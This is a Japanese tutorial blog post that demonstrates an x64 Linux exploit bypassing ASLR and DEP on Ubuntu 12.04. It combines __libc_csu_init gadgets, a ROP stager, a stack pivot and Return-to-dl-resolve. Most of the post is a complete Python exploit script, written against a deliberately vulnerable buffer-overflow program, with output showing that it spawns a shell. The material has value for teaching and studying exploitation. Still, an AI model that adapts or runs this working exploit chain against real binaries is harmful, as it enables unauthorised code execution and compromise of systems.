x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる
x64環境においてROPを行うには複数のレジスタをセットする必要があるが、glibcの__libc_csu_init関数を利用すると任意の3引数関数が呼び出せることが知られている。 ここでは、ROP stager + Return-to-resolveに加えてこれを利用することで、ASLR+DEPが有効な条件下でlibcバイナリに依存しない形でのシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるプログラムを書いてみる。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、DEP有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
__libc_csu_initを使ったレジスタセットおよび関数呼び出し
コンパイルした実行ファイルをディスアセンブルすると、__libc_csu_init関数の中に次のようなコードが存在することがわかる。
$ objdump -d a.out 00000000004005a0 <__libc_csu_init>: ... 4005f0: 4c 89 fa mov rdx,r15 4005f3: 4c 89 f6 mov rsi,r14 4005f6: 44 89 ef mov edi,r13d 4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 4005fd: 48 83 c3 01 add rbx,0x1 400601: 48 39 eb cmp rbx,rbp 400604: 75 ea jne 4005f0 <__libc_csu_init+0x50> 400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8] 40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10] 400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18] 400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20] 40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28] 40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30] 400624: 48 83 c4 38 add rsp,0x38 400628: c3 ret
x64環境では関数を呼び出す前に引数をレジスタにセットする必要がある。 そこで、上のコードを利用すると、次のようにして任意の3引数関数を繰り返し呼ぶことができる。
- 0x400606にreturnして、スタックからrbx、rbp、r12、r13、r14、r15の各レジスタに値をセットする
- 続けて0x4005f0にreturnして、r13d、r14、r15レジスタの値をedi、rsi、rdxレジスタに移した上で、
r12+rbx*8
に置かれているアドレスを関数としてcallする rbp == rbx+1
となるようにレジスタを調整しておくことで、jne命令によるジャンプを通過する- 再び0x400606にたどりつくので、スタックから各レジスタに値をセットした上で2に戻る
ここで、rbxレジスタにセットする値として0を選べば、call命令はcall [r12]
とできる。
すなわち、rbx == 0
、rbp == 1
とした上で、r12レジスタに関数のアドレスが入っているアドレス(ポインタ)、r13 (=edi)、r14 (=rsi)、r15 (=rdx) レジスタに関数の引数をセットすることで、任意の3引数関数を呼ぶことができる。
特に、r12レジスタにセットするアドレスとしてGOTテーブルを利用すると、PLTにある任意のライブラリ関数を呼び出すことができる。
なお、このgadgetではrdxレジスタまでしかセットできないため、sendやrecvなど4引数以上の関数を呼び出したい場合には別途rcx、r8、r9レジスタに値をセットしておく必要がある。
__libc_csu_init関数のソースコードは次のようになっている。
void __libc_csu_init (int argc, char **argv, char **envp) { /* For dynamically linked executables the preinit array is executed by the dynamic linker (before initializing any shared object). */ #ifndef LIBC_NONSHARED (snip) #endif _init (); const size_t size = __init_array_end - __init_array_start; for (size_t i = 0; i < size; i++) (*__init_array_start [i]) (argc, argv, envp); }
ディスアセンブル結果と比べてみると、__init_array_start[i]
を呼ぶ箇所の前後で対応するレジスタの操作が行われていることがわかる。
エクスプロイトコードを書いてみる
最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
上で出力した情報をもとに、__libc_csu_init gadgetsを利用したエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x00000000004002b8 # readelf -S a.out addr_dynstr = 0x0000000000400330 # readelf -S a.out addr_relplt = 0x00000000004003b8 # readelf -S a.out addr_plt = 0x0000000000400420 # readelf -S a.out addr_got = 0x0000000000600fe8 # readelf -S a.out addr_bss = 0x0000000000601028 # readelf -S a.out addr_got_read = 0x601008 # objdump -d -j.plt a.out addr_got_write = 0x601000 # objdump -d -j.plt a.out addr_set_regs = 0x400606 # pop junk/rbx/rbp/r12/r13/r14/r15; ret addr_call_r12 = 0x4005f0 # mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]; # -> add rbx, 1; cmp rbx, rbp; jne addr_call_r12; jmp addr_set_regs addr_leave_ret = 0x400595 # leave; ret addr_ret = 0x400596 # ret stacksize = 0x800 base_stage = addr_bss + stacksize buf1 = 'A' * bufsize buf1 += 'A' * (8-len(buf1)%8) buf1 += 'AAAAAAAA' * 2 buf1 += struct.pack('<Q', addr_set_regs) buf1 += 'AAAAAAAA' buf1 += struct.pack('<Q', 0) # rbx == 0 buf1 += struct.pack('<Q', 1) # rbp == rbx+1 buf1 += struct.pack('<Q', addr_got_write) # r12 -> call [r12] buf1 += struct.pack('<Q', 1) # r13 -> edi buf1 += struct.pack('<Q', addr_got+8) # r14 -> rsi buf1 += struct.pack('<Q', 8) # r15 -> rdx buf1 += struct.pack('<Q', addr_call_r12) buf1 += 'AAAAAAAA' buf1 += struct.pack('<Q', 0) # rbx == 0 buf1 += struct.pack('<Q', 1) # rbp == rbx+1 buf1 += struct.pack('<Q', addr_got_read) # r12 -> call [r12] buf1 += struct.pack('<Q', 0) # r13 -> edi buf1 += struct.pack('<Q', base_stage) # r14 -> rsi buf1 += struct.pack('<Q', 400) # r15 -> rdx buf1 += struct.pack('<Q', addr_call_r12) buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' # rbx buf1 += struct.pack('<Q', base_stage) # rbp buf1 += 'AAAAAAAA' # r12 buf1 += 'AAAAAAAA' # r13 buf1 += 'AAAAAAAA' # r14 buf1 += 'AAAAAAAA' # r15 buf1 += struct.pack('<Q', addr_leave_ret) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<Q', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) addr_link_map = struct.unpack('<Q', p.stdout.read(8))[0] print "[+] addr_link_map = %x" % addr_link_map addr_dt_versym = addr_link_map + 0x1c8 addr_reloc = base_stage + 8*28 align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18) addr_reloc += align_reloc addr_sym = addr_reloc + 24 align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18) addr_sym += align_dynsym addr_symstr = addr_sym + 24 addr_cmd = addr_symstr + 7 reloc_offset = (addr_reloc - addr_relplt) / 0x18 r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7 st_name = addr_symstr - addr_dynstr buf2 = 'AAAAAAAA' buf2 += struct.pack('<Q', addr_set_regs) buf2 += 'AAAAAAAA' buf2 += struct.pack('<Q', 0) # rbx == 0 buf2 += struct.pack('<Q', 1) # rbp == rbx+1 buf2 += struct.pack('<Q', addr_got_read) # r12 -> call [r12] buf2 += struct.pack('<Q', 0) # r13 -> edi buf2 += struct.pack('<Q', addr_dt_versym) # r14 -> rsi buf2 += struct.pack('<Q', 8) # r15 -> rdx buf2 += struct.pack('<Q', addr_call_r12) buf2 += struct.pack('<Q', addr_ret) # [r12] buf2 += struct.pack('<Q', 0) # rbx == 0 buf2 += struct.pack('<Q', 1) # rbp == rbx+1 buf2 += struct.pack('<Q', base_stage + 8*10) # r12 -> call [r12] buf2 += struct.pack('<Q', addr_cmd) # r13 -> edi buf2 += 'AAAAAAAA' # r14 -> rsi buf2 += 'AAAAAAAA' # r15 -> rdx buf2 += struct.pack('<Q', addr_call_r12) buf2 += 'A' * 0x38 # junk/rbx/rbp/r12/r13/r14/r15 buf2 += struct.pack('<Q', addr_plt) buf2 += struct.pack('<Q', reloc_offset) buf2 += 'AAAAAAAA' buf2 += 'A' * align_reloc buf2 += struct.pack('<Q', addr_got_read) # Elf64_Rela buf2 += struct.pack('<Q', r_info) buf2 += struct.pack('<Q', 0) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf64_Sym buf2 += struct.pack('<I', 0x12) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', 0) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (400-len(buf2)) p.stdin.write(buf2) p.stdin.write(struct.pack('<Q', 0)) p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。
- __libc_csu_init gadgetsを使いwrite関数を呼び出し、GOTセクションにあるlink_map構造体のアドレスを書き出す
- さらにread関数を呼び出しデータを読み込んだ後、
leave; ret
gadgetによりstack pivotを行う - __libc_csu_init gadgetsを使いread関数を呼び出し、x64環境におけるReturn-to-dl-resolveの下準備として
l->l_info[VERSYMIDX (DT_VERSYM)]
にNULLをセットする - 適当な引数をセットした上で、Return-to-dl-resolveを行う
引数をセットして実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x06\x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAA(\x18`\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x95\x05@\x00\x00\x00\x00\x00' [+] addr_link_map = 7f39f26fe2c8 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
__libc_csu_init gadgetsにより、ASLRおよびDEPが有効なx64環境で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。
関連リンク
- Ghost in the Shellcode 2014 - fuzzy
- v0id s3curity: Some universal gadget sequence for Linux x86_64 ROP payload
- untitled: ROP with common functions in Ubuntu/Debian x86
- Caonguyen: Advance exploitation: ROP with libc function
- Out Of Control: Overcoming Control-Flow Integrity (IEEE S&P 2014)
- Linux x86 Program Start Up